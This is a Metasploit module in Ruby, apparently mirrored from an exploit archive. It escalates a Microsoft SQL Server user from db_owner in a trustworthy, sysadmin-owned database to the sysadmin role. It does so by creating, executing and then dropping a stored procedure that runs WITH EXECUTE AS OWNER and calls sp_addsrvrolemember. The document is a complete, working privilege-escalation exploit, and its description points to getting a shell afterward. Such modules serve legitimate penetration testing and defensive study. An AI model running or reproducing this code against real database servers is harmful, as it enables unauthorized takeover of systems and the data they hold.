Share
## https://sploitus.com/exploit?id=PACKETSTORM:180798
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL  
include Msf::OptionalSession::MSSQL  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Escalate Db_Owner',  
'Description' => %q{  
This module can be used to escalate privileges to sysadmin if the user has  
the db_owner role in a trustworthy database owned by a sysadmin user. Once  
the user has the sysadmin role the msssql_payload module can be used to obtain  
a shell on the system.  
},  
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],  
'License' => MSF_LICENSE,  
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]  
))  
end  
  
def run  
# Check connection and issue initial query  
if session  
set_mssql_session(session.client)  
else  
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")  
if mssql_login_datastore  
print_good('Connected.')  
else  
print_error("Login was unsuccessful. Check your credentials.")  
disconnect  
return  
end  
end  
  
# Query for sysadmin status  
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")  
user_status = check_sysadmin  
  
# Check if user has sysadmin role  
if user_status == 1  
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")  
disconnect  
return  
else  
print_status("You're NOT a sysadmin, let's try to change that")  
end  
  
# Check for trusted databases owned by sysadmins  
print_status("Checking for trusted databases owned by sysadmins...")  
trust_db_list = check_trust_dbs  
if trust_db_list.nil? || trust_db_list.length == 0  
print_error('No databases owned by sysadmin were found flagged as trustworthy.')  
disconnect  
return  
else  
# Display list of accessible databases to user  
print_good("#{trust_db_list.length} affected database(s) were found:")  
trust_db_list.each do |db|  
print_status(" - #{db[0]}")  
end  
end  
  
# Check if the user has the db_owner role in any of the databases  
print_status('Checking if the user has the db_owner role in any of them...')  
dbowner_status = check_db_owner(trust_db_list)  
if dbowner_status.nil?  
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")  
disconnect  
return  
end  
  
# Attempt to escalate to sysadmin  
print_status("Attempting to escalate in #{dbowner_status}!")  
escalate_status = escalate_privs(dbowner_status)  
if escalate_status  
# Check if escalation was successful  
user_status = check_sysadmin  
if user_status == 1  
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")  
else  
print_error("Fail buckets, something went wrong.")  
end  
else  
print_error("Error while trying to escalate status")  
end  
  
disconnect  
return  
end  
  
# Checks if user is already sysadmin  
def check_sysadmin  
# Setup query to check for sysadmin  
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse query results  
parse_results = result[:rows]  
status = parse_results[0][0]  
  
# Return status  
return status  
end  
  
# Gets trusted databases owned by sysadmins  
def check_trust_dbs  
# Setup query  
sql = "SELECT d.name AS DATABASENAME  
FROM sys.server_principals r  
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id  
INNER JOIN sys.server_principals p ON  
p.principal_id = m.member_principal_id  
inner join sys.databases d on suser_sname(d.owner_sid) = p.name  
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"  
  
result = mssql_query(sql)  
  
# Return on success  
return result[:rows]  
end  
  
# Checks if user has the db_owner role  
def check_db_owner(trust_db_list)  
# Check if the user has the db_owner role is any databases  
trust_db_list.each do |db|  
# Setup query  
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user  
from [#{db[0]}].sys.database_role_members drm  
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)  
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)  
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse query results  
parse_results = result[:rows]  
if parse_results && parse_results.any?  
print_good("- db_owner on #{db[0]} found!")  
return db[0]  
end  
end  
  
nil  
end  
  
def escalate_privs(dbowner_db)  
print_status("#{dbowner_db}")  
# Create the evil stored procedure WITH EXECUTE AS OWNER  
evil_sql_create = "use #{dbowner_db};  
DECLARE @myevil as varchar(max)  
set @myevil = '  
CREATE PROCEDURE sp_elevate_me  
WITH EXECUTE AS OWNER  
as  
begin  
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''  
end';  
exec(@myevil);  
select 1;"  
mssql_query(evil_sql_create)  
  
# Run the evil stored procedure  
evilsql_run = "use #{dbowner_db};  
DECLARE @myevil2 as varchar(max)  
set @myevil2 = 'EXEC sp_elevate_me'  
exec(@myevil2);"  
mssql_query(evilsql_run)  
  
# Remove evil procedure  
evilsql_remove = "use #{dbowner_db};  
DECLARE @myevil3 as varchar(max)  
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'  
exec(@myevil3);"  
mssql_query(evilsql_remove)  
  
true  
end  
end